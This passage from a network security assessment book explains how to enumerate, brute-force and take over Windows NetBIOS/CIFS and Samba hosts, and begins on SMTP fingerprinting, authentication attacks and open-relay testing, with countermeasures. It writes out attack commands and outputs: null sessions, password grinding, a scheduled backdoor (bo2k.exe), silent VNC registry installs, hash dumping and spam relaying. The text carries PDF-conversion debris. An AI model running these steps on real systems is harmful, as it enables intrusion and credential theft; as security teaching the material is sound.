</tr>
</tbody>
</table>

The NetBIOS Datagram Service

The NetBIOS datagram service is accessible through UDP port 138. As the NetBIOS name service is vulnerable to various naming attacks (resulting in denial-of-service in some cases), so can the NetBIOS datagram service be used to manipulate the target host and its NetBIOS services.

Anthony Osborne of PGP COVERT Labs published an advisory in August 2000 that documented a NetBIOS name cache corruption attack that can be launched by sending crafted UDP datagrams to port 138. The full advisory is available at http://www.securityfocus.com/advisories/2556.

RFC 1002 defines the way in which Windows NetBIOS host information is encapsulated within the NetBIOS datagram header. When a browse frame request is received (on UDP port 138), Windows extracts the information from the datagram header and stores it in the NetBIOS name cache. In particular, the source NetBIOS name and IP address are blindly extracted from the datagram header and inserted into the cache.

A useful scenario in which to undertake this attack would be to send the target host a crafted NetBIOS datagram that mapped a known NetBIOS name on the internal network (such as a domain controller) to your IP address. When the target host attempted to connect to the server by its NetBIOS name, it would instead connect to your IP address. An attacker can use Cain & Abel (http://www.oxid.it) to capture rogue SMB password hashes in this scenario (which he can then crack and use to access other hosts).

Interestingly, Microsoft didn’t release a patch for this issue: due to the unauthenticated nature of NetBIOS naming, it’s a fundamental vulnerability! The MITRE CVE contains good background information within CVE-2000-1079.
The NetBIOS Session Service

The NetBIOS session service is accessible through TCP port 139. In particular, the service facilitates authentication across a Windows workgroup or domain and provides access to resources (such as files and printers). You can perform the following attacks against the NetBIOS session service:

- Enumerate details of users, shared folders, security policies, and domain information
- Brute-force user passwords

After authenticating with the NetBIOS session service as a privileged user, you can:

- Upload and download files and programs
- Schedule and run arbitrary commands on the target host
- Access the registry and modify keys
- Access the SAM password database for cracking

The CESG CHECK guidelines specify that candidates should be able to enumerate system details through NetBIOS (including users, groups, shares, domains, domain controllers, and password policies), including user enumeration through RID cycling. After enumerating system information, candidates are required to brute-force valid user passwords and access the filesystem and registry of the remote host upon authenticating.

Enumerating System Details

Various tools can enumerate sensitive information from a target Windows host with TCP port 139 open. Information can be collected either anonymously by initiating what is known as a null session, or through knowledge of a valid username and password. A null session is when you authenticate with the IPC$ share of the target host in the following manner:

```
net use \target\IPC$ "" /user: ""
```

By specifying a null username and password, you gain anonymous access to IPC$. By default, Windows hosts allow anonymous access to system and network information through NetBIOS, so the following can be gleaned:

- User list
- Machine list
- NetBIOS name list
- Share list
- Password policy information
• Group and member list
• Local Security Authority (LSA) policy information
• Trust information between domains and hosts

Here are three Windows command-line tools that are commonly used to enumerate this information:

- GetAcct ([http://www.securityfriday.com](http://www.securityfriday.com))

Many other tools can perform enumeration through null sessions; however, I find that these three utilities give excellent results in terms of user, system, and policy details.

**enum**

Jordan Ritter’s *enum* utility is a Windows command-line tool that can extensively query the NetBIOS session service. The tool can list usernames, password policy, shares, and details of other hosts including domain controllers. Example 10-14 shows the *enum* usage information.

**Example 10-14. Enum usage and command-line options**

```
D:\enum> enum
usage:  enum  [switches]  [hostname|ip]
    -U:  get userlist
    -M:  get machinel list
    -N:  get namelist dump (different from -U|-M)
    -S:  get sharelist
    -P:  get password policy information
    -G:  get group and member list
    -L:  get LSA policy information
    -D:  dictionary crack, needs -u and -f
    -d:  be detailed, applies to -U and -S
    -c:  don't cancel sessions
    -u:  specify username to use (default "")
    -p:  specify password to use (default "")
    -f:  specify dictfile to use (wants -D)
```

By default, the tool attempts to use an anonymous null session to enumerate system information. You can, however, specify a username and password from the command line or even use the -D flag along with -u and -f *filename* options to perform brute-force grinding of a valid user password against the NetBIOS session service.

Any combination of the query flags can be used within a single command. Example 10-15 shows *enum* being used to enumerate user, group details, and password policy information.
These details show that the out-of-box default Windows 2000 password policy is in place (no minimum password length or account lockout threshold). Along with the standard Administrator, Guest, and other system accounts, the user Mickey is also present.

**winfo**

The *winfo* utility gives a good overview of the target Windows host through a null session. It collects information that *enum* doesn’t, including domain trust details and currently logged-in users. Example 10-16 demonstrates *winfo* in use.

**Example 10-15. Using enum to find system details**

```bash
D:\> enum -UGP 192.168.189.1
server: 192.168.189.1
setting up session... success.
password policy:
  min length: none
  min age: none
  max age: 42 days
  lockout threshold: none
  lockout duration: 30 mins
  lockout reset: 30 mins
getting user list (pass 1, index 0)... success, got 5.
  __vmware_user__  Administrator  Guest  Mickey  VUSR_OSG-SERV
Group: Administrators
  OSG-SERV\Administrator
  Group: Backup Operators
  Group: Guests
  OSG-SERV\Guest
  Group: Power Users
  OSG-SERV\Mickey
  Group: Replicator
  Group: Users
  NT AUTHORITY\INTERACTIVE
  NT AUTHORITY\Authenticated Users
  Group: __vmware__
  OSG-SERV\__vmware_user__
cleaning up... success.
```

**Example 10-16. Using winfo to enumerate system information**

```bash
D:\> winfo 192.168.189.1
Winf 2.0 - copyright (c) 1999-2003, Arne Vidstrom
  - http://www.ntsecurity.nu/toolbox/winfo/

SYSTEM INFORMATION:
  - OS version: 5.0

DOMAIN INFORMATION:
  - Primary domain (legacy): OSG-WHQ
  - Account domain: OSG-SERV
  - Primary domain: OSG-WHQ
```
Example 10-16. Using winfo to enumerate system information (continued)

- DNS name for primary domain:
- Forest DNS name for primary domain:

PASSWORD POLICY:
- Time between end of logon time and forced logoff: No forced logoff
- Maximum password age: 42 days
- Minimum password age: 0 days
- Password history length: 0 passwords
- Minimum password length: 0 characters

LOCOUT POLICY:
- Lockout duration: 30 minutes
- Reset lockout counter after 30 minutes
- Lockout threshold: 0

SESSIONS:
- Computer: OSG-SERV
- User: ADMINISTRATOR

LOGGED IN USERS:

* __vmware_user__
* Administrator

USER ACCOUNTS:

* Administrator
  (This account is the built-in administrator account)
* Guest
  (This account is the built-in guest account)
* mickey
* VUSR_OSG-SERV
* __vmware_user__

WORKSTATION TRUST ACCOUNTS:
INTERDOMAIN TRUST ACCOUNTS:
SERVER TRUST ACCOUNTS:

SHARES:

* IPC$
  - Type: Unknown
  - Remark: Remote IPC
* D$
  - Type: Special share reserved for IPC or administrative share
  - Remark: Default share
* ADMIN$
  - Type: Special share reserved for IPC or administrative share
  - Remark: Remote Admin
* C$
  - Type: Special share reserved for IPC or administrative share
  - Remark: Default share
By default, Windows systems share all drive letters in use, such as \texttt{C$} and \texttt{D$} in the examples here. These shares can be accessed remotely upon authenticating, allowing you to upload and download data. The other shares shown here (\texttt{IPC$} and \texttt{ADMIN$}) are for administrative purposes, such as installing software and managing processes running on the host remotely.

**GetAcct**

GetAcct is a useful tool that allows you to perform reverse-lookups for Windows server RID values to get user account names (also known as \textit{RID cycling}). Standard enumeration tools such as \textit{enum} and \textit{winfo} simply use forward-lookup techniques to dump the user list, which administrators can protect against by setting \texttt{RestrictAnonymous=1} within the system registry (discussed later under the “Windows Networking Services Countermeasures” section).

Windows NT 4.0 hosts can only set \texttt{RestrictAnonymous=1}, and are thus susceptible to \textit{RID} cycling. Windows 2000 hosts have extended anonymous access protection which can be set with \texttt{RestrictAnonymous=2}, preventing \textit{RID} cycling from being effective. Figure 10-3 shows GetAcct in action against a Windows 2000 host at 192.168.189.1.

![GetAcct](image)

*Figure 10-3. GetAcct performs RID cycling to enumerate users*
**Brute-Forcing User Passwords**

The SMBCrack and SMB-AT tools can brute-force user passwords through the NetBIOS session service; they are available from the following sites:

- [http://www.netxeyes.org/SMBCrack.exe](http://www.netxeyes.org/SMBCrack.exe)
- [http://www.cqure.net/tools/smbat-win32bin-1.0.4.zip](http://www.cqure.net/tools/smbat-win32bin-1.0.4.zip)
- [http://www.cqure.net/tools/smbat-src-1.0.5.tar.gz](http://www.cqure.net/tools/smbat-src-1.0.5.tar.gz)

Table 10-7 shows a short list of common Windows login and password combinations. Backup and management software including ARCserve and Tivoli require dedicated user accounts on the server or local machine to function, and are often set with weak passwords.

### Table 10-7. High-probability user login and password combinations

<table>
<thead>
<tr>
<th>User login name</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>Administrator</td>
<td>(blank)</td>
</tr>
<tr>
<td>arcserve</td>
<td>arcserve, backup</td>
</tr>
<tr>
<td>tivoli</td>
<td>tivoli</td>
</tr>
<tr>
<td>backupexec</td>
<td>backupexec, backup</td>
</tr>
<tr>
<td>test</td>
<td>test</td>
</tr>
</tbody>
</table>

Before launching a brute-force password-grinding exercise, it is sensible to enumerate the account lockout policy for the system you are going to attack, as shown in Examples 10-15 and 10-16. If you launch a brute-force attack against a domain controller that is set to lock accounts after a specified number of unsuccessful login attempts, you can easily lock out the entire domain.

**Authenticating with NetBIOS**

Upon cracking a valid user account password, you can authenticate with NetBIOS by using the net command from a Windows platform or a tool such as `smbclient` in Unix-like environments with Samba ([http://www.samba.org](http://www.samba.org)) installed. The net command usage is as follows:

```
net use \target\IPC$ password /user:username
```

You can also use the `net` utility to authenticate with `ADMIN$` or administrative drive shares (`C$`, `D$`, etc.). After successfully authenticating, you can try to execute commands server-side, upload and download files, and modify registry keys.
Executing Commands

You can execute local commands through SMB via the Service Control Manager (SCM) or Task Scheduler. To execute commands through the Task Scheduler, we use the Windows schtasks command upon authenticating with a NetBIOS session or CIFS service with the ADMIN$ share. The schtasks command schedules programs to run at a designated time through the Task Scheduler service. Example 10-17 shows how I authenticate against 192.168.189.1 (with the username Administrator and password secret), and then schedule c:\temp\bo2k.exe (a known backdoor that I have uploaded) to run at 10:30.

Example 10-17. Scheduling a task on a remote host using schtasks

C:\> schtasks /create /s 192.168.189.1 /u WEBSERV\Administrator /p secret /sc ONCE /st 10:30:00 /tr c:\temp\bo2k.exe /tn BackupExec

schtasks has a lot of options and flags that can be set and used. Please review Microsoft KB article 814596 (http://support.microsoft.com/kb/814596) for further details and use cases. We can review pending jobs on 192.168.189.1 in the following way:

C:\> schtasks /query /s 192.168.189.1

<table>
<thead>
<tr>
<th>TaskName</th>
<th>Next Run Time</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>BackupExec</td>
<td>10:30:00, 08/07/2007</td>
<td></td>
</tr>
</tbody>
</table>

To execute commands directly through the SCM (as opposed to the Task Scheduler), we can use PsExec (part of the Sysinternals PsTools package, available from http://download.sysinternals.com/Files/PsTools.zip). PsExec usage is discussed in http://www.microsoft.com/technet/sysinternals/utilities/pexec.mspx.

Accessing and Modifying Registry Keys

You can use three tools from the Microsoft Windows NT Resource Kit to access and manipulate system registry keys on a given host:

regdmp.exe
   Accesses and dumps the system registry remotely
regini.exe
   Used to set and modify registry keys remotely
reg.exe
   Used with the delete option to remove registry keys
After authenticating with the NetBIOS session service, `regdmp` is used to dump the contents of the registry. `regdmp` has the following usage:

```
REGDMP [-m \machinename | -h hivefile hiveroot | -w Win95 Directory]
       [-i n] [-o outputWidth]
       [-s] [-o outputWidth] registryPath
```

Example 10-18 shows `regdmp` in use against 192.168.189.1 to dump the contents of the entire system registry.

```
Example 10-18. Using regdmp to enumerate the system registry
```

```
C:\> regdmp -m \192.168.189.1
\Registry
  Machine [17 1 8]
  HARDWARE [17 1 8]
  ACPI [17 1 8]
  DSDT [17 1 8]
  GBT__ _ [17 1 8]
  AWRDACPI [17 1 8]
  00001000 [17 1 8]
  00000000 = REG_BINARY 0x00003bb3 0x54445344 \ 0x00003bb3 0x42470010 0x20202054 \ 0x44525741 0x49504341 0x00001000 \ 0x54445344d 0x0100000c 0x5f5c1910 \ 0x65520f5f5f 0x65520f5f5f 0x65520f5f5f \ 0x30555043 0x00001000 0x5c080600 \ 0x0b5f30535f 0x0a0a125f 0x0a000a00 \ 0x08000a00 0x31535f5c 0x040a125f \ 
```

You can add or modify registry keys using the `regini` command along with crafted text files containing the new keys and values. To silently install a VNC server on a target host, you first have to set two registry keys to define which port the service listens on and the VNC password for authentication purposes. A text file (`winvnc.ini` in this case) is assembled first:

```
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
  SocketConnect = REG_DWORD 0x00000001
  Password = REG_BINARY 0x00000008 0x57bf2d2e 0x9e6cb06e
```

After listing the keys you wish to add to the registry, use the `regini` command to insert them:

```
C:\> regini -m \192.168.189.1 winvnc.ini
```

Removing registry keys from the remote system is easily achieved using the `reg` command (found within Windows NT family systems) with the correct delete option. To remove the VNC keys just set, use the following command:

```
C:\> reg delete \192.168.189.1\HKU\.DEFAULT\Software\ORL\WinVNC3
```
Accessing the SAM Database

Through compromising the password of a user in the Administrators group, the SAM encrypted password hashes can be dumped directly from memory of the remote host, thus bypassing SYSKEY encryption protecting the hashes stored within the SAM database file. A Windows utility known as pwdump3 can achieve this by authenticating first with the ADMIN$ share and then extracting the encrypted user password hashes. pwdump3 is available from http://packetstormsecurity.org/Crackers/NT/pwdump3.zip.

Example 10-19 shows pwdump3 dumping the encrypted user password hashes from the Windows 2000 host at 192.168.189.1 to hashes.txt using the Administrator account (although any user account in the Administrators group can be used).

Example 10-19. Using pwdump3 to remotely extract password hashes

D:\pwdump> pwdump3 192.168.189.1 hashes.txt Administrator

pwdump3 by Phil Staubs, e-business technology
Copyright 2001 e-business technology, Inc.

This program is free software based on pwpump2 by Tony Sabin under the GNU General Public License Version 2 (GNU GPL), you can redistribute it and/or modify it under the terms of the GNU GPL, as published by the Free Software Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS PROGRAM. Please see the COPYING file included with this program (also available at www.ebiz-tech.com/pwdump3) and the GNU GPL for further details.

Please enter the password >secret
Completed.

Two tools that can be used to crack Windows password hashes downloaded in this way are as follows:

Cain & Abel (http://www.oxid.it)
John the Ripper (http://www.openwall.com/john)

Cain & Abel is more advanced, supporting rainbow table cracking of NTLM hashes, whereas John the Ripper is used to perform basic (and quick) dictionary-based attacks. Rainbow cracking of stored authentication hashes involves a time-memory trade-off, where hashes are precomputed and stored in a rainbow table, which is then cross-referenced with the hashes to reveal the passwords.

Three toolkits used to generate rainbow tables that can be used from Cain & Abel to attack many types of encrypted password hash are as follows:

Winrtgen (http://www.oxid.it/downloads/winrtgen.zip)
Ophcrack (http://ophcrack.sourceforge.net)
RainbowCrack (http://www.antsight.com/zsl/rainbowcrack)
The CIFS Service

The CIFS service is found running on Windows 2000, XP, and 2003 hosts through both TCP and UDP port 445. CIFS is the native mode for SMB access within these operating systems, but NetBIOS access is provided for backward compatibility.

Through CIFS, you can perform exactly the same tests as with the NetBIOS session service, including enumeration of user and system details, brute-force of user passwords, and system access upon authenticating (such as file access and execution of arbitrary commands).

CIFS Enumeration

In the same way that system and user information can be gathered through accessing SMB services through NetBIOS, CIFS can be directly queried to enumerate the same information: you just need the right tools for the job.

The SMB Auditing Tool (SMB-AT) is a suite of useful utilities, available as Windows executables and source code (for compilation on Linux and BSD platforms in particular) from http://www.cqure.net.

User enumeration through smbdumpusers

The smbdumpusers utility is a highly versatile Windows NT user enumeration tool that can query SMB through both NetBIOS session (TCP 139) and CIFS (TCP 445) services. A second useful feature is the way the utility can enumerate users through a direct dump that works with RestrictAnonymous=0, but also using the RID cycling technique that can evade RestrictAnonymous=1 settings by attempting to reverse each ID value to a username. Example 10-20 shows the usage and command-line options for smbdumpusers.

Example 10-20. smbdumpusers usage and command-line options

D:\smb-at> smbdumpusers

SMB - DumpUsers V1.0.4 by (patrik.karlsson@ixsecurity.com)
-------------------------------------------------------------------
usage: smbdumpusers -i <ipaddress|ipfile> [options]
-i*   IP or <filename> of server[s] to bruteforce
-m    Specify which mode
   1 Dumpusers (Works with restrictanonymous=0)
   2 SidToUser (Works with restrictanonymous=0|1)
-f    Filter output
   0 Default (Filter Machine Accounts)
   1 Show All
-e    Amount of sids to enumerate
-E    Amount of sid mismatches before aborting mode 2
-n    Start at SID
Example 10-20. smbdumpusers usage and command-line options (continued)

- Name of the server to bruteforce
- Report to <ip>.txt
- timeout for connect (default 300ms)
- Be verbose
- Protocol version
  0 - Netbios Mode
  1 - Windows 2000 Native Mode

Example 10-21 shows the smbdumpusers tool dumping user information via RID cycling (as with GetAcct in Figure 10-3) through CIFS.

Example 10-21. Cycling RID values to find usernames with smbdumpusers

D:\smb-at> smbdumpusers -i 192.168.189.1 -m 2 -P1
500-Administrator
501-Guest
513-None
1000-__vmware__
1001-__vmware_user__
1002-VUSR_OSG-SERV
1003-mickey

CIFS Brute Force

The SMB-AT toolkit contains a utility called smbff that can launch brute-force password-grinding attacks against both NetBIOS session and CIFS services. Example 10-22 shows the smbff usage.

Example 10-22. smbff usage and command-line options

D:\smb-at> smbff
SMB - Bruteforcer V1.0.4 by (patrik.karlsson@ixsecurity.com)
--------------------------------------------------------------
usage: smbff -i [options]

-i* IP address of server to bruteforce
-p Path to file containing passwords
-u Path to file containing users
-s Server to bruteforce
-r Path to report file
-t timeout for connect (default 300ms)
-w Workgroup/Domain
-g Be nice, automatically detect account lockouts
-v Be verbose
-P Protocol version
  0 - Netbios Mode
  1 - Windows 2000 Native Mode
To run \texttt{smbbf} against the CIFS service at 192.168.189.1, using the user list from \texttt{users.txt} and the dictionary file \texttt{common.txt}, use the syntax shown in Example 10-23.

\begin{verbatim}
Example 10-23. Using \texttt{smbbf} against the CIFS service

D:\smb-at> smbbf -i 192.168.189.1 -p common.txt -u users.txt -v -P1
INFO: Could not determine server name ...

-- Starting password analysis on 192.168.189.1 --

Logging in as Administrator with secret on WIDGETS
Access denied
Logging in as Administrator with qwerty on WIDGETS
Access denied
Logging in as Administrator with letmein on WIDGETS
Access denied
Logging in as Administrator with password on WIDGETS
Access denied
Logging in as Administrator with abc123 on WIDGETS
Access denied

The \texttt{smbbf} utility can clock around 1,200 login attempts per second when grinding Windows 2000 hosts across local area networks. Against NT 4.0 hosts, the tool is much slower, achieving only a handful of login attempts per second.

If \texttt{smbbf} is run with only an IP address specified, it does the following:

\begin{itemize}
  \item Retrieves a list of valid usernames through a null session
  \item Attempts to log in to each account with a blank password
  \item Attempts to log in to each account with the username as password
  \item Attempts to log in to each account with the password of “password”
\end{itemize}

The tool is extremely useful in this mode when performing a brief audit of a given Windows host, and can be left running unattended for extended periods of time. If multiple accounts are given to brute force, the tool will grind passwords for each account and move to the next.

\section*{Unix Samba Vulnerabilities}

The Samba open source suite (\url{http://www.samba.org}) allows Linux and other Unix-like platforms to operate more easily within Windows NT domains and provides seamless file and print services to SMB and CIFS clients. A number of remote vulnerabilities have been found in Samba services, allowing attackers to execute arbitrary code and commands and bypass security restrictions.

At the time of this writing, the MITRE CVE list contains a number of serious remotely exploitable issues in Samba (not including DoS issues), as shown in Table 10-8.

Depending on the open network ports of a given Unix-like host running Samba, you will be presented with a number of avenues to perform enumeration and brute-force password-grinding attacks. In particular, refer to the earlier examples of attacks launched against MSRPC, NetBIOS session, and CIFS services because the same tools will be equally effective against accessible Samba services running on ports 135, 139, and 445, respectively.

### Windows Networking Services Countermeasures

The following countermeasures should be considered when hardening Windows services:

- Filter public or untrusted network access to high-risk services, especially the RPC endpoint mapper (TCP and UDP port 135), and the NetBIOS session and CIFS services (TCP ports 139 and 445), which can be attacked and used to compromise Windows environments. Do not forget to filter RPC service endpoints, accessible on TCP and UDP ports above 1025.
- Ensure local administrator account passwords are set because these are often set to NULL on workstations when domain authentication is used. If possible, disable the local computer Administrator accounts across your network.

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-2446 and CVE-2007-2447</td>
<td>15/05/2007</td>
<td>Multiple Samba 3.0.25rc3 MSRPC component vulnerabilities</td>
</tr>
<tr>
<td>CVE-2007-0453</td>
<td>05/02/2007</td>
<td>nss_winbind.so.1 (as used by Samba 3.0.23d on Solaris) arbitrary code execution via DNS functions</td>
</tr>
<tr>
<td>CVE-2004-1154</td>
<td>16/12/2004</td>
<td>Samba 3.0.9 MSRPC heap overflow</td>
</tr>
<tr>
<td>CVE-2004-0882</td>
<td>15/10/2004</td>
<td>Samba 3.0.7 QFILEPATHINFO request handler overflow</td>
</tr>
<tr>
<td>CVE-2004-0815</td>
<td>30/09/2004</td>
<td>Samba 3.0.2a malformed pathname security restriction bypass</td>
</tr>
<tr>
<td>CVE-2003-1332</td>
<td>27/07/2003</td>
<td>Samba 2.2.7 reply_nitrans() overflow</td>
</tr>
<tr>
<td>CVE-2003-0201</td>
<td>07/04/2003</td>
<td>Samba 2.2.7 call_trans2open() overflow</td>
</tr>
<tr>
<td>CVE-2003-0085</td>
<td>14/03/2003</td>
<td>Samba 2.2.7 remote packet fragment overflow</td>
</tr>
<tr>
<td>CVE-2002-1318</td>
<td>20/11/2002</td>
<td>Samba 2.2.6 password change request overflow</td>
</tr>
<tr>
<td>CVE-2002-2196</td>
<td>28/08/2002</td>
<td>Samba 2.2.4 and prior enum_csc_policy() overflow</td>
</tr>
<tr>
<td>CVE-2001-1162</td>
<td>24/06/2001</td>
<td>Samba 2.0.8 and prior remote file creation vulnerability</td>
</tr>
</tbody>
</table>
• Enforce a decent user account lockout policy to minimize the impact of brute-force password-grinding attacks.

Microsoft RPC service-specific countermeasures:

• If RPC services are accessible from the Internet, ensure that the latest Microsoft security patches relating to RPC components are always installed and maintained to a good degree.

• Disable the Task Scheduler and Messenger services if they aren’t required. The Task Scheduler can be used by attackers to remotely execute commands, and both services have known memory management issues.

• In high-security environments, you can consider disabling DCOM completely, although it will break a lot of functionality. Microsoft KB article 825750 discusses this; you can find it at http://support.microsoft.com/default.aspx?kbid=825750.

• Be aware of threats presented by RPC over HTTP functionality within Microsoft IIS web services (when COM Internet Services is installed). Ensure that the RPC_CONNECT HTTP method isn’t allowed (unless required) through any publicly accessible web services in your environment.

NetBIOS session and CIFS service-specific countermeasures:

• Enforce RestrictAnonymous=2 under Windows 2000, XP, and 2003 hosts to prevent enumeration of system information through NetBIOS. The registry key can be found under HKLM\SYSTEM\CurrentControlSet\Control\Lsa. Microsoft KB articles 246261 and 296405 discuss the setting in detail, available from http://support.microsoft.com.

• Enforce NTLMv2 if possible. Fast, multithreaded brute-force tools, such as SMBCrack, take advantage of weaknesses within standard NTLM, and therefore don’t work against the cryptographically stronger NTLMv2.

• Rename the Administrator account to a nonobvious name (e.g., not admin or root), and set up a decoy Administrator account with no privileges.

• The Microsoft Windows 2000 Resource Kit contains a tool called passprop.exe that can lock the administrator account and prevent it from being used across the network (thus negating brute-force and other attacks), but still allows administrator logons locally at the system console. To lock the Administrator account in this way, issue a passprop /adminlockout command.
Email services serve and relay email messages across the Internet and private networks. Due to the nature of these services, channels between the Internet and corporate network space are opened, which determined attackers abuse to compromise internal networks. This chapter defines a strategy for assessing email services, through accurate service identification, enumeration of enabled options, and testing for known issues.

**Email Service Protocols**

Common ports used for email delivery and collection through SMTP, POP-2, POP-3, and IMAP are as follows:

- **smtp** 25/tcp
- **pop2** 109/tcp
- **pop3** 110/tcp
- **imap2** 143/tcp
- **submission** 587/tcp

SSL-wrapped versions of these mail services are often found running on the following ports:

- **smtps** 465/tcp
- **imaps** 993/tcp
- **pop3s** 995/tcp

An SSL tunnel must first be established (using a tool such as *stunnel*) to assess these services. Then, standard assessment tools can be used through the SSL tunnel to test the services.

**SMTP**

Most organizations with an Internet presence use email to communicate and to do business. *Simple Mail Transfer Protocol* (SMTP) servers provide email transport via
software packages such as Sendmail, Microsoft Exchange, Lotus Domino, and Postfix. Here I discuss the techniques used to identify and exploit SMTP services.

**SMTP Service Fingerprinting**

Accurate identification of the SMTP service enables you to make sound decisions and efficiently assess the target system. Two tools in particular perform a number of tests to ascertain the SMTP service in use:

- **smtpmap** ([http://freshmeat.net/projects/smtpmap/](http://freshmeat.net/projects/smtpmap/))
- **smtpscan** ([http://www.greyhats.org/outils/smtpscan/smtpscan-0.2.tar.gz](http://www.greyhats.org/outils/smtpscan/smtpscan-0.2.tar.gz))

Both tools are launched from Unix-like platforms. Example 11-1 shows the smtpmap tool in use, identifying the mail service on mail.trustmatta.com as Lotus Domino 5.0.9a.

**Example 11-1. The smtpmap tool in use**

```
$ smtpmap mail.trustmatta.com
smtp-map 0.8
Scanning mail.trustmatta.com ( [ 192.168.0.1 ] mail )
100 % done scan

According to configuration the server matches the following :

<table>
<thead>
<tr>
<th>Version</th>
<th>Probability</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lotus Domino Server 5.0.9a</td>
<td>100 %</td>
</tr>
<tr>
<td>Microsoft MAIL Service, Version: 5.5.1877.197.1</td>
<td>90.2412 %</td>
</tr>
<tr>
<td>Microsoft MAIL Service, Version: 5.0.2195.2966</td>
<td>87.6661 %</td>
</tr>
</tbody>
</table>

According to RFC the server matches the following :

<table>
<thead>
<tr>
<th>Version</th>
<th>Probability</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lotus Domino Server 5.0.9a</td>
<td>100 %</td>
</tr>
<tr>
<td>AnalogX Proxy 4.10</td>
<td>85.4869 %</td>
</tr>
<tr>
<td>Sendmail 8.10.1</td>
<td>76.1912 %</td>
</tr>
</tbody>
</table>

Overall Fingerprinting the server matches the following :

<table>
<thead>
<tr>
<th>Version</th>
<th>Probability</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lotus Domino Server 5.0.9a</td>
<td>100 %</td>
</tr>
<tr>
<td>Exim 4.04</td>
<td>67.7031 %</td>
</tr>
<tr>
<td>Exim 4.10 (without auth)</td>
<td>66.7393 %</td>
</tr>
</tbody>
</table>
```

The smtpscan tool analyzes slightly different aspects of the SMTP service, predicting that the same SMTP service is Lotus Domino 5.0.8, as shown in Example 11-2.

**Example 11-2. The smtpscan tool in use**

```
$ smtpscan mail.trustmatta.com
smtpscan version 0.1
Scanning mail.trustmatta.com (192.168.0.1) port 25
15 tests available
```
Most of the time an accurate SMTP service banner is presented, so deep analysis isn’t required. Example 11-3 shows that the mail server is running Lotus Domino version 6 beta.

Example 11-3. The SMTP service banner for mail.trustmatta.com is revealed

```bash
$ telnet mail.trustmatta.com 25
Trying 192.168.0.1...
Connected to mail.trustmatta.com.
Escape character is '^]'.
220 mail.trustmatta.com ESMTP Service (Lotus Domino Build V65_M2) ready at Tue, 30 Sep 2003 16:34:33 +0100
```

Enumerating Enabled SMTP Subsystems and Features

A number of exploitable issues in SMTP services such as Microsoft Exchange depend on support for certain Extended SMTP (ESMTP) features. These subsystems and features are enumerated by issuing an EHLO command upon connecting to the target SMTP server, as shown in Example 11-4.

Example 11-4. ESMTP subsystems on a Microsoft Exchange server

```bash
$ telnet 192.168.0.104
Trying 192.168.0.104...
Connected to 192.168.0.104.
Escape character is '^]'.
EHLO world
250-uranus.local Hello [192.168.0.15]
250-PIPELINING
250-ETRN
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250-X-EXPS GSSAPI NTLM
```
SMTP Brute-Force Password Grinding

Upon identifying an SMTP server that supports authentication (AUTH) methods, as shown in Example 11-5, we can perform a brute-force password grinding attack to compromise valid credentials.

Example 11-5. Enumerating authentication methods using EHLO

```bash
telnet mail.example.org 25
Trying 192.168.0.25...
Connected to 192.168.0.25.
Escape character is '^]'.
220 mail.example.org ESMTP
EHLO world
250-mail.example.org
250-AUTH LOGIN CRAM-MD5 PLAIN
250-AUTH=LOGIN CRAM-MD5 PLAIN
250-STARTTLS
250-PIPELINING
250 8BITMIME
```

The SMTP server at `mail.example.org` supports three very common authentication types, as follows:

- **LOGIN** (plain text authentication using base64 encoding)
- **PLAIN** (variant plain text authentication using base64 encoding)
- **CRAM-MD5** [MD5 shared secret authentication (RFC 2195)]

The LOGIN authentication mechanism can be attacked using THC Hydra using the smtp-auth command-line option to perform brute-force password grinding for known user accounts. Other less common SMTP authentication mechanisms, supported by other mail servers, include:

- **DIGEST-MD5** (HTTP digest compatible challenge-response scheme [RFC 2831])
- **GSSAPI** (Kerberos V authentication via the GSSAPI)
- **NTLM** (Microsoft NT LAN Manager authentication [http://curl.haxx.se/rfc/ntlm.html])
- **OTP** (one-time password mechanism [RFC 2444])
Unfortunately, publicly available brute-force password grinding tools don’t exist for these authentication mechanisms at this time. Deeper technical discussion of various authentication mechanisms can be undertaken through reviewing the respective RFC documents and browsing Wikipedia.

**NTLM overflows through SMTP authentication**

If NTLM authentication is supported, LSASS overflows (CVE-2003-0818 and CVE-2003-0533) can be launched to execute arbitrary code server-side. At the time of this writing, neither CORE IMPACT nor MSF support LSASS attacks through SMTP in this way, but Immunity CANVAS has an exploit for CVE-2003-0818 through SMTP, as shown here:

```
$ ./exploits/asn1/asn1.py
```

<table>
<thead>
<tr>
<th>Available versions:</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0: Autoversioning N/A</td>
<td></td>
</tr>
<tr>
<td>1: Exploit LSASS.EXE through SMB (use default, port: 445)</td>
<td></td>
</tr>
<tr>
<td>2: Exploit LSASS.EXE through IIS (use default, port: 80)</td>
<td></td>
</tr>
<tr>
<td>3: Exploit LSASS.EXE through IIS HTTPS (use default, port: 443)</td>
<td></td>
</tr>
<tr>
<td>4: Exploit LSASS.EXE through NETBIOS (use default, port: 139)</td>
<td></td>
</tr>
<tr>
<td>5: Exploit LSASS.EXE through EXCHANGE (use default, port: 25, unstable)</td>
<td></td>
</tr>
</tbody>
</table>

**SMTP Open Relay Testing**

Poorly configured SMTP services are used to relay unsolicited email, in much the same way as open web proxy servers. Example 11-6 shows a poorly configured Microsoft Exchange server being abused by an attacker to relay email. Increasingly, open SMTP relays exist through the use of weak passwords, which are brute-forced using the mechanisms discussed in the previous section.

*Example 11-6. Sending email to spam_me@hotmail.com through mail.example.org*

```
$ telnet mail.example.org 25
Trying 192.168.0.25...
Connected to 192.168.0.25.
Escape character is '^]'.
220 mail.example.org Microsoft ESMTP MAIL Service, Version: 5.0.2195.5329 ready at Sun, 5 Oct 2003 18:50:59 +0100
HELO
250 mail.example.org Hello [192.168.0.1]
MAIL FROM: spammer@spam.com
250 2.1.0 spammer@spam.com....Sender OK
RCPT TO: spam_me@hotmail.com
250 2.1.5 spam_me@hotmail.com
DATA
354 Start mail input; end with <CRLF>.<CRLF>
This is a spam test!
.
250 2.6.0 <MAIL7jFOR3rfWXJ000000001@mail.example.org> Queued mail for delivery
QUIT
```
